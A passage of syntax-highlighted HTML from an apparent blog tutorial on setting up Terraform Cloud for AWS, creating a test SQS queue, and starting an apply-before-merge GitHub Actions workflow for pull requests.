\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    tfe\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"0.42.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  region\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003edefault_tags\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    tags\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      Owner   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      Env     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      Service \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"BusinessOperations\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: You should replace \u003ccode\u003eorganization\u003c/code\u003e, \u003ccode\u003eworkspaces.name\u003c/code\u003e, and\n\u003ccode\u003etags.Owner\u003c/code\u003e to be your own values.\u003c/p\u003e\n\u003cp\u003eNow create a small resource to prove everything is working, we'll use SQS for\nthis. Create a file called \u003ccode\u003e2-sqs.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_sqs_queue\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"example-sqs\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e                        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"example-sqs\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  message_retention_seconds\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e86400\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  receive_wait_time_seconds\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIf you run the plan you should see the resource it wants to create:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand you should see the run is executing in terraform cloud:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eRunning plan in Terraform Cloud. Output will stream here. Pressing Ctrl-C\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewill stop streaming the logs, but will not stop the plan running remotely.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can click the link it provides to see the logs. Now lets apply this\nresource to see it all working:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ terraform apply\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should get a response like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eApply complete! Resources: 1 added, 0 changed, 0 destroyed.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo Terraform Cloud has full access to create AWS resources!   The final step\nis to get github running the plan/apply on pull requests. Commit these files\nto your repository and we'll remove them in a pull request. Create a\n\u003ccode\u003e.gitignore\u003c/code\u003e file in the root:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e.terraform*\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand commit all the files:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecommit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"initial infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epush\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eorigin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehead\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eGithub Actions\u003c/h1\u003e\n\u003cp\u003eThe two most popular workflows when using terraform are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply after Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://terraform.io\"\u003eterraform cloud\u003c/a\u003e and most github actions.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply before Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://www.runatlantis.io/\"\u003eAtlantis\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI don't like apply-after-merge.  There are a lot of ways where a \u003ccode\u003eplan\u003c/code\u003e\ncan succeed but an \u003ccode\u003eapply\u003c/code\u003e will fail and you end up with broken configuration\nin \u003ccode\u003emain\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo in this article I'll show you how to implement \u003cstrong\u003eapply-before-merge\u003c/strong\u003e with\ngithub actions.\u003c/p\u003e\n\u003cp\u003eAll of these changes will be in the \u003ccode\u003einfra\u003c/code\u003e repository that was generated from\n\u003ccode\u003ebootstrap\u003c/code\u003e.  We are done with the bootstrap at this point.\u003c/p\u003e\n\u003cp\u003eFirst, lets setup the \u003ccode\u003e.github\u003c/code\u003e folder, the end result we want is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e.github/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e└──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworkflows\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e├──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon-apply-finished.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e├──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon-pull-request-labeled.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e└──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon-pull-request.yml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo create the folders:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.github/workflows\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eOn Pull Request\u003c/h1\u003e\n\u003cp\u003eThe first flow we'll create is the \u003ccode\u003eterraform plan\u003c/code\u003e workflow which should be\nran whenever a pull request is opened. Create the file\n\u003ccode\u003e.github/workflows/on-pull-request.yml\u003c/code\u003e and put this content in it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_build\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ebranches\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emain\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eTERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eGITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_validate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCheckout\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform validate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-validate@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_fmt\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan 